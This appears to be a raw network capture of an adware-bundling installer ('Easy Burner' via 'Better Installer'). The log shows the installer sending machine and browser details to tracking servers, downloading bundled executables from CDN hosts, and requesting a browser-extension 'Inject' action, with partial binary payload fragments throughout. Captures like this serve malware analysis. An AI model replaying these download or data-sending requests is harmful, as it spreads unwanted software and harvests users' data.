Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2302

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=799c97afbeb52f4eabf469c6ed8ad1c0&uid=799c97afbeb52f4eabf469c6ed8ad1c0&affid=easyburnerit&sid=easyburnerit&cli_id=&softwareName=Easy Burner (IT)&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=8783620f48e24ed4149fe1ffa47e15fe&tokyo_csrf_timestamp=1424743224&unique_id=9fd81c119909308d540861e600a43bd3&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT
HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:27 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
e76.............[.o.6..Wx......;q.em...u......8..@K...,j... ......,.v.
.M..-PD.....>~|..M....*.z.......O..2.2....)..!{..n.[pY...k........2
.`...,.Y,RV.Dk..&. .&..k.e|..b..T..T%3..X..`.b..~.2.t.0x:...8.9.....sC
...>.B.EV.,Ne|..-^[.b.a.....b..4Es.z.u.\.n.{......3...<.\..s._,.
.B....E.*..\.q*.=.R/...3:...\.l.....g&..V .,w.YT.3H...... .N.J.-.....A
 .z.<;..4..t..v.J".....`.2KR.@.&.g.&6.2w.^.{.........Y*9...Q.B$..:.
...0.\.D.g.../d..0..C.%.y.......08w.......*...a.O..d.....9.z.:.'.=.f..
|.}vZhO....4..9..ka..1........(....vnM.......T5y..0...,..3.B3.T..Sk...
[email protected],.....bW.....$......Hc.Q)...?.....`C.p..v.q. ..HE
.JV..j......|*.u.. ..........p. Pc.y^V.....]g...Z.i...3...yI.....].v..
.z..k8zl.,....#..*$. ..A.z....N....}.hXQn.AGq...!tm.-...^...m.L....M..
).. o.1......$......P...E..0v.....N.nV...hw...Ta&..."...D.L&.....8....
hwYp)......GF....k........z...}4.E.q=%6.v..h.....v(.z....U..b...&.*@..
. .....H"........U.".....Y...,.9.3~).M.&.....-.. SD.L..v.....3F.A.....
A.h...>-...3.f.x..<-ET(..-r!.B.............W./....R...=m>/O.%
\$......cc..s.......nD.V.].0r......\|.....o.....%(PM..o........'X..7..
...r..;}&c.H.iW..`........q.H-?g^..y.u..B.[. .. f.)....*.....fe....e..
..*...........k..N=.y.%M8_Z.n..c.Po....:>[.S.s.y..._.)..-.9..>Z.
KRk.a..K..../S..m6j.w.1Q;.&.W7...$d...V....~8.R....*r..........6x.th..
....7p4d6..M.....B.......'.y./.{.<-6_.........r>.!.'...1...X...{
.......yl1F...g<w@.}...*..Z...y..%...%.tzF...!I....]P.#....Ig.-*...
.......C....].n.QZ..}......^p...qf.0.^aS.`i,....`\..v......9q..s..<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.2635847020696706 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:00:31 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.042710851221484325 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:32 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:00:32 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.11024174429759087 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:37 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:00:37 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=145788-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 145788-583151/583152

Content-Length: 437364

Connection: keep-alive
t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&.
.... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J........
2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB......E.
5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..t.}.....
.'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\......0..$.
s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.a...C?..
.....W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j2.V.a...
..q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }....B.m. 
.eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(
DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..........@G]
C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n
....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a..........".y..II..
.{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.........
N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.
u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}[email protected].
.....r.ei....K0....5.....7....1M3X.C.......q..Gh.R.... zi=-...p:.8....
...].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZHNC.w.Y.=
 .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>...4.{.
M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.t...m'.=
.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.......v.
...j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.IK.b.jz.l
.!)....U...&...........BxfJ$..U..SU...:.g>O./..J.....]....IT.9.<<< skipped >>>

GET /blank.gif?t=142907788007&h=d7eae1b4fbd18fff98b3bddeaf9fae0f&emp=1 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://d.addelive.com/widget/render/hash/d7eae1b4fbd18fff98b3bddeaf9fae0f

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: counter.d.addelive.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 24 Feb 2015 02:03:02 GMT

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Server: nginx/1.2.1

Content-Length: 43

Connection: keep-alive

GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Content-Ty
pe: image/gif..Date: Tue, 24 Feb 2015 02:03:02 GMT..Last-Modified: Mon
, 28 Sep 1970 06:00:00 GMT..Server: nginx/1.2.1..Content-Length: 43..C
onnection: keep-alive..GIF89a.............!.......,...........L..;..

GET /sd?is=sm HTTP/1.1

Range: bytes=145788-291576

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 145788-291576/583152

Content-Length: 145789

Connection: keep-alive

GET /ytai.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive



.W..V..YPW..$H....&F....$.....j.....$(......$......$.......$....j..C.$
......$.....D$....M.X9.$$....0.M..t$..C.$....9.$....S.C.$....9...M.W.C
...M.9.D.M...$L....C.0.M...$`.....C.$L...3.W.5..M.RQP..$....h..J.P....
...(..$....j.WhP.M..ES..3...$......$......$..........$....f..$......$(
..........d$,h.VK...R....$@......$@......$p....bc.......$(.....x..r...
P..$.....oR....$(....3.WC..$\...S..V..j.W.....$......$........d$4.C.$.
...P.L$P.KQ....$H......$H......$...........$H......$....P..$$....$P...
....$0......$`...P.JC....$(......$X...P..$......Q....$(......$X...WS..
V....$(......$....WS..U....$(......$....WS..U....$p..........$(.....W.
j....D$.[h.....*q....Y.T$,..$(......t:..$.......$p.....$.....C.$p.....
$.....Q.C.$....QP...........$(............3..D$$.D$(.D$..D$ .D$4.D$8.D
$$P..d.I..D$.P..h.I..G.j.j..H............x..G.j..H.........P..D$4P..h.
I..L$4 L$..T$8.T$ .^.....Y...K..T$(.L$$...D$,.C......L$,..^...XL$.f.(.
...D$......D$.Kj._..........^...K.QQ.L$L...D$........$(.....L$D...L$..
......$(...P.L$H.......$(......$(.....$<......$8....C.$(.......$<
;......$(....C.$(...PQ..$...........$(..........d$D3...$....j.SP..@...
[email protected]$Dh.VK..fO....$X......$X....G...`..........0..$(....SW..
$......S....$(......$(...SW.......$(......$...........$......\....$(..
....$p...SW.QS....$(......$....SW.;S....$(......$....SW.%S....$(......
$....SW..S....$([email protected]....$(......$....SW..R....$(......$...
.Sj...R....$(.....$....Sj...R....$(......u..N?..3...$ ...d......Y_^[..
$....3...m....]...V.qP.........^..[..j4...I.........M....u.3....}.<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:05 GMT

Content-Range: bytes 750000-999999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eJMXk4nZF02ZqZsswB9A4KXEE1yH37IP7ikTVwuN0UMsxP1cZbU2sA==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Tue, 24 Feb 2015 02:01:05 GMT..Content-Range: bytes 7500
00-999999/1206160..X-Cache: Miss from cloudfront..Via: 1.1 761f19bc2f5
721b0be0a41147e1e925f.cloudfront.net (CloudFront)..X-Amz-Cf-Id: eJMXk4
nZF02ZqZsswB9A4KXEE1yH37IP7ikTVwuN0UMsxP1cZbU2sA==..o.r.:. .%.d.,. .R.
e.g.O.p.e.n.K.e.y.E.x.........[.S.b.T.r.a.c.e.r.:.:.R.e.g.i.s.t.e.r.O.
n.C.o.n.f.i.g.u.r.a.t.i.o.n.C.h.a.n.g.e.]. ._._._.E.r.r.o.r.:. .%.d.,.
 .R.e.g.N.o.t.i.f.y.C.h.a.n.g.e.K.e.y.V.a.l.u.e...[.S.b.T.r.a.c.e.r.:.
:.U.p.d.a.t.e.A.l.l.P.a.r.a.m.e.t.e.r.s.]...[.S.b.T.r.a.c.e.r.:.:.U.p.
d.a.t.e.A.l.l.P.a.r.a.m.e.t.e.r.s.]. .D.o.n.e.........<.<.<.&
lt;.<.<.<.<.<.<.<.<.<.<.<.>.>.&
gt;.>.>.>.>.>.>.>.>.>.>.>.>. .M.O.
D.U.L.E. .D.E.T.A.I.L.S. .<.<.<.<.<.<.<.<.<
.<.<.<.<.<.<.>.>.>.>.>.>.>.>
.>.>.>.>.>.>.>.........:. . . . . . . . . .....M.
o.d.u.l.e.N.a.m.e.....P.r.o.d.u.c.t.N.a.m.e...:. . . . . . . . ...C.o.
m.p.a.n.y.N.a.m.e...P.r.o.d.u.c.t.V.e.r.s.i.o.n.....:. . . . . .....O.
r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.....:. . . .....F.i.l.e.V.e.r.s.i.o.n...
F.i.l.e.D.e.s.c.r.i.p.t.i.o.n...:. . . . ...........<.<.<<<< skipped >>>

GET /t.ashx?e=hNMAVKhukrxAU1hGZSx JNeBem8A8fUI7OXLse4BafQHqUQ0J3/4E4mP8QwLOFKVGlbzzIWwF3t81FzBER/tsBB/SoLmDeveGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OfglWAKXFOvtaEm6BAbRXSMrEEh8u6d7SH4Z1vjNdYQAHU9lC9Kuyg==

abfgshdgfjhsk....

GET /t.ashx?e=hNMAVKhukrxAU1hGZSx JNeBem8A8fUI7OXLse4BafQHqUQ0J3/4E4mP8QwLOFKVGlbzzIWwF3t81FzBER/tsBB/SoLmDeveGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NwbJVxY2q8YNt4AAMOMz-9WL66-n8YRwYsVxLVfY-oJI8Hm8zrp4rA==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: L5yzgRy7f3ky7iYnaFczq1hkqdkEviVTo4cMS0s9QeA8IdIbW7F1AQ==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:03 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: L5yzgRy7f3ky7iYnaFczq1hkqdkEviVT
o4cMS0s9QeA8IdIbW7F1AQ==..abfgshdgfjhsk..

GET /utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=31064 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8z7wc4QYhzD-EUkunZYeplYyEpIn7uHfl2cuud9PS8JHHntrUCZ8nQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................]...c...S...q@..
W...P.....HSP..........SP.3:[email protected]@.......u....q@.
........9].u".. ?B.j...`?B.......M.... ?B..c.....`?B... ?B..R....E..4.
 ?B.3...;....#M..D.....<....4. ?B.V.......p6B..5`r@.;.t.RQ...E....6
B.;[email protected]..<.....W. A....;
.tBj\[email protected]@...u...|p@[email protected]:.u.9
].t.j......Wh..B..EE..W..tp@..^...j..0...S.....P.!H...5...j......j....
[email protected]].......V..G..........WV.%B..j......S
[email protected]#.E.;.v%8.t!V..G..;.t...,P.u...D.....E.....
..9][email protected]@.....o........j.
.....PV.=A...r...j1........E....V.u..E..w?..V.p.@...t.V..D....h..B.V..
C..P..>..P..D..V.JF...p.@..}..|1V..F..3.;.t..M....QP..`[email protected].<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?fec9cd7b0db89256 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Tue, 24 Feb 2015 02:02:12 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Tue, 24 Feb 2015 02:02:12 GMT..Conn
ection: keep-alive......

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?b43cffd895636b28 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT

If-None-Match: "0b96c77303ecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Fri, 23 Jan 2015 02:29:11 GMT

Accept-Ranges: bytes

ETag: "803565fb436d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 57591

Date: Tue, 24 Feb 2015 02:02:13 GMT

Connection: keep-alive
MSCF............,...................I.................6Fm. .authroot.s
tl......8..CK...<T...g.v!M.d..f.%d..}K..5......dM*K..J.,%K"...!..=.
k..........{=/....{g.~...............'....6..N....w......(.$.>.7...
........'.....`.bx....^..$.'.^.K.C......<[email protected]
.....usXq.d.i.jF$.4.........KI.Q........A2m:..E.P|...(.^p..=G|.....m..
....  .6...H.e.....X'...%$r.Y.(..)........|...;...V^r.VM.._*X.I. ..4..
...*.....Y..`.0w.u...c.i.[..-...x..<.8.<.p..,..y.[v.Yn`......!.s
...4e......B...$.,..........w.Pd.)....,..#.%..h...8...`.A...8.i(.!.$/.
=.....i.\X.H......"...a...k...y6....F.._?\*.&..3.AJo.!..`....9....=.p.
u..u....f.f....w...?..S..I.;.....5._...F.f..G?$......."..kq.y'.6tJ.e%.
.G.n.....z<.pX"....1..g."........V:.H.-...!}LM..t..-.y.j&...n{..-.]
H. .....A.O.Xg..B...#[email protected]..*.....T...}o._./S..h@$
[email protected]..#.:?."....1..v.....&G...?O1x6"5.@..$.U...n.J...w
.Y.{..........E.N.&...&.rC..W.....M.........,.e.....&eI(/eSO.B..K...R.
 [email protected].....(..Y./;-..M5.0.H2.y....:...........a.U....%.S.).^.
...1.B..a..=...q...X .B....F.../..../.Z...'..t....C....,.^...N=..t%N|I
C.#.)6...q.E.J.i.E.>....".L........>...Vy.7.jxx......G........._
q.1^..H&.4Z......^.E.K 9.Xg...qO.6%>..T....;n..s.'u.-...=.........p
..p.Rn.........=.......F........d. d.AR.0U..........9b...=N..#....c.Ic
z......u.0............Y.q..b.wYE.......R...s..W....r].....hT....k.g..[
...s.....X..`=zb.>..../..=........J.N.h...(}.5.7. .;..=F..F...'.?..
2...3...=...B..`....{...f.`Kb..@..`Z.0!^8.t..<l.j..lI.P.q.>k<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=GoobzoInfo HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:25 GMT..Content-Length: 0..

GET /app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7WCArG4HtKvdX1gPBPGd4Gf2NRySioDRRu BYVCPaRxXmz5bNSU9ZQ5QIobxOzNqLc5VZuubnS2AZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ5bqTd4fPzcoH3Z212Y8XzR HIlIo7HfS8JjONIDolPej4jFkmdSX1ZCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7ZHixPWBkhqF2M/kHgvislIrVX/EPqwe9CwGEQqEL5v9HCOZtFDRBBDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBFPmyIOMSGLqvp2al3wif32RIeMued5S3OqQB4kK2USfmjZJUoJulJFYt96j8Hn3PgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

